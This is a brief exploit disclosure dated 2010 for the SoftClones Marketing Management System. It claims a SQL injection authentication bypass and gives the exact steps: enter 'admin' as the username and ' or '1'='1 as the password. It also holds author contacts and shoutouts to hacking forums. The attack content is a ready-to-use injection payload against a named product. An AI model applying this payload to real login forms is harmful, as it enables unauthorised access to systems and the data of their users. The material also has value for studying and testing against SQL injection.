SoftClones Marketing Management System suffers from a remote SQL injection vulnerability that allows for authentication bypass.
5e9b43b5f3b06b5391f598908fe6c8effa8f6ac51bbb071efec0e2288b86ffd2
#################################################################
# Exploit Title: SoftClones Marketing Management System authentication bypass
# Date: 16th july 2010
# Author: D4rk357
#Critical:high
#contact:d4rk357[at]yahoo[dot]in
Price : 300$
# Software Link:http://preproject.com/freelance.asp
Greetz to :b0nd, Fbih2s,Beenu,rockey killer,The empty(), punter,eberly,prashant
Shoutz to : http://www.garage4hackers.com/forum.php , h4ck3r.in and all ICW members
##############################################################################
Exploit : On login page put admin and usename and ' or '1'='1 as password .
you will be logged into the system
##################################################################################
#D4rk357